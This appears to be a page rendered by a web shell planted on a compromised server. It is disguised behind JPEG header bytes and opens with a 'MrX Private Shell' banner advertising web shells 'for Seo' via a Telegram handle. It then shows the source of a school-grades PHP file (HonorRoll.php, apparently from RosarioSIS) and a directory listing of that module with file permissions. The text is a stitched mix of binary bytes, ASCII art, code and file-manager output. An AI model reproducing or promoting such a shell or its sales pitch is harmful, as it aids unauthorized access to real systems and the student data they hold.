����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
require_once 'ProgramFunctions/MarkDownHTML.fnc.php';
require_once 'ProgramFunctions/Template.fnc.php';
require_once 'ProgramFunctions/Substitutions.fnc.php';
require_once 'modules/Grades/includes/HonorRoll.fnc.php';
if ( $_REQUEST['modfunc'] === 'save' )
{
if ( ! empty( $_REQUEST['st_arr'] ) )
{
if ( empty( $_REQUEST['subject_id'] ) )
{
HonorRollPDF(
$_REQUEST['st_arr'],
! empty( $_REQUEST['list'] ),
$_POST['honor_roll_text']
);
}
else
{
HonorRollSubjectPDF(
$_REQUEST['st_arr'],
! empty( $_REQUEST['list'] ),
$_POST['honor_roll_text']
);
}
}
else
{
BackPrompt( _( 'You must choose at least one student.' ) );
}
}
if ( ! $_REQUEST['modfunc'] )
{
DrawHeader( ProgramTitle() );
if ( $_REQUEST['search_modfunc'] === 'list' )
{
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] .
'&modfunc=save&include_inactive=' . issetVal( $_REQUEST['include_inactive'] ) .
'&_ROSARIO_PDF=true' ) . '" method="POST" enctype="multipart/form-data">';
$extra['header_right'] = SubmitButton( _( 'Create Honor Roll for Selected Students' ) );
$extra['extra_header_left'] = '<table class="width-100p">';
//FJ add <label> on radio
$extra['extra_header_left'] .= '<tr><td><label><input type="radio" name="list" value="list"> ' . _( 'List' ) . '</label></td></tr>';
$extra['extra_header_left'] .= '<tr><td><label><input type="radio" name="list" value="" checked /> ' . _( 'Certificates' ) . ':</label></td></tr>';
//FJ add TinyMCE to the textarea
$extra['extra_header_left'] .= '<tr class="st"><td>' .
TinyMCEInput(
GetTemplate(),
'honor_roll_text',
_( 'Text' ),
'class="tinymce-horizontal"'
) . '</td></tr>';
$substitutions = [
'__FULL_NAME__' => _( 'Display Name' ),
'__LAST_NAME__' => _( 'Last Name' ),
'__FIRST_NAME__' => _( 'First Name' ),
'__MIDDLE_NAME__' => _( 'Middle Name' ),
'__SCHOOL_ID__' => _( 'School' ),
'__GRADE_ID__' => _( 'Grade Level' ),
];
if ( ! empty( $_REQUEST['subject_id'] ) )
{
$substitutions['__SUBJECT__'] = _( 'Subject' );
}
$substitutions += SubstitutionsCustomFields( 'student' );
$extra['extra_header_left'] .= '<tr class="st"><td class="valign-top">' .
SubstitutionsInput( $substitutions ) .
'<hr></td></tr>';
$extra['extra_header_left'] .= HonorRollFrame();
$extra['extra_header_left'] .= '</table>';
/**
* Honor Roll header
* Add your headers to
* @global $extra['extra_header_left']
*
* @since 11.4.1
*/
do_action( 'Grades/HonorRoll.php|header' );
}
$extra['new'] = true;
if ( ! isset( $_REQUEST['_ROSARIO_PDF'] ) )
{
$extra['SELECT'] = ",s.STUDENT_ID AS CHECKBOX";
$extra['functions'] = [ 'CHECKBOX' => 'MakeChooseCheckbox' ];
$extra['columns_before'] = [ 'CHECKBOX' => MakeChooseCheckbox( 'required', '', 'st_arr' ) ];
}
$extra['link'] = [ 'FULL_NAME' => false ];
$extra['options']['search'] = false;
Widgets( 'course' );
HonorRollWidgets( 'honor_roll' );
Search( 'student_id', $extra );
if ( $_REQUEST['search_modfunc'] === 'list' )
{
echo '<br /><div class="center">' . SubmitButton( _( 'Create Honor Roll for Selected Students' ) ) . '</div>';
echo '</form>';
}
}
/**
* Make Choose Checkbox
*
* Local function
* DBGet() callback
*
* @uses MakChooseCheckbox
*
* @param string $value STUDENT_ID value.
* @param string $column 'CHECKBOX'.
*
* @return string Checkbox or empty string if no (High) Honor Roll requested.
*/
function _makeChooseCheckbox( $value, $column )
{
if ( $_REQUEST['honor_roll'] === 'Y'
|| $_REQUEST['high_honor_roll'] === 'Y' )
{
return MakeChooseCheckbox( $value, $column );
}
else
{
return '';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AnomalousGrades.php | File | 7 KB | 0644 |
|
| Assignments-new.php | File | 16.22 KB | 0644 |
|
| Assignments.php | File | 33 KB | 0644 |
|
| Configuration.php | File | 14.5 KB | 0644 |
|
| EditHistoryMarkingPeriods.php | File | 5.47 KB | 0644 |
|
| EditReportCardGrades.php | File | 16.56 KB | 0644 |
|
| FinalGrades.php | File | 18.44 KB | 0644 |
|
| GPARankList.php | File | 2.71 KB | 0644 |
|
| GradeBreakdown.php | File | 5.16 KB | 0644 |
|
| GradebookBreakdown.php | File | 13.13 KB | 0644 |
|
| Grades.php | File | 42.87 KB | 0644 |
|
| HonorRoll.php | File | 3.63 KB | 0644 |
|
| InputFinalGrades.php | File | 48.09 KB | 0644 |
|
| MassCreateAssignments.php | File | 18.08 KB | 0644 |
|
| Menu.php | File | 3.19 KB | 0644 |
|
| ProgressReports.php | File | 18.06 KB | 0644 |
|
| ReportCardCommentCodes.php | File | 8.18 KB | 0644 |
|
| ReportCardComments.php | File | 14.78 KB | 0644 |
|
| ReportCardGrades.php | File | 12 KB | 0644 |
|
| ReportCards.php | File | 2.98 KB | 0644 |
|
| StudentAssignments.php | File | 1.74 KB | 0644 |
|
| StudentGrades.php | File | 26.83 KB | 0644 |
|
| TeacherCompletion.php | File | 5.86 KB | 0644 |
|
| Transcripts.php | File | 3.22 KB | 0644 |
|